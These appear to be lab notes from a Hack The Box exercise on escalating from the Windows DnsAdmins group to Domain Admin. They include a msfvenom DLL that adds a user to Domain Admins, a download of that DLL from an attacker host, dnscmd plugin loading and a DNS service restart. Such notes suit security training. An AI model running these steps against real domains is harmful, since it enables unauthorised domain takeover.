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DnsAdmins

DnsAdmins

DnsAdmins group have access to DNS information on the network

The Windows DNS service supports custom plugins and can call functions from them to resolve name queries that are not in the scope of any locally hosted DNS zones.

The DNS service runs as NT AUTHORITY\SYSTEM

DNS management is performed over RPC

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Leveraging DnsAdmins Access

Generating Malicious DLL

irix@htb[/htb]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

# it will add user call netadm to Domain Admins

Transfer reverse shell to target

irix@htb[/htb]$ python3 -m http.server 7777

Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -
PS C:\htb>  wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

Loading DLL as Non-Privileged User

try to se the dnscmd utility to load a custom DLL with a non-privileged user. we will notice failure

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
**Command failed: ERROR_ACCESS_DENIED**

Loading DLL as Member of DnsAdmins

As expected, attempting to execute this command as a normal user isn't successful. Only members of the DnsAdmins group are permitted to do this.

C:\htb> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109

Loading Custom DLL

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Note: We must specify the full path to our custom DLL or the attack will not work properly.

Only the dnscmd utility can be used by members of the DnsAdmins group, as they do not directly have permission on the registry key.

After restarting the DNS service

Finding User's SID

First, we need our user's SID.

C:\htb> wmic useraccount where name="netadm" get sid

SID
S-1-5-21-669053619-2741956077-1013132368-1109

Checking Permissions on DNS Service

Once we have the user's SID, we can use the sc command to check permissions on the service.

can see that our user has RPWP permissions which translate to SERVICE_START and SERVICE_STOP, which our user can start or stop dns service.

C:\htb> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;**RPWP**;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Stopping and Starting the DNS Service

C:\htb> sc stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
C:\htb> sc start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6960
        FLAGS              :

Confirming Group Membership

If all goes to plan, our account will be added to the Domain Admins group or receive a reverse shell if our custom DLL was made to give us a connection back.

C:\htb> net group "Domain Admins" /dom

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

Signing with pwned user

runas /user:DOMAIN\pwned cmd
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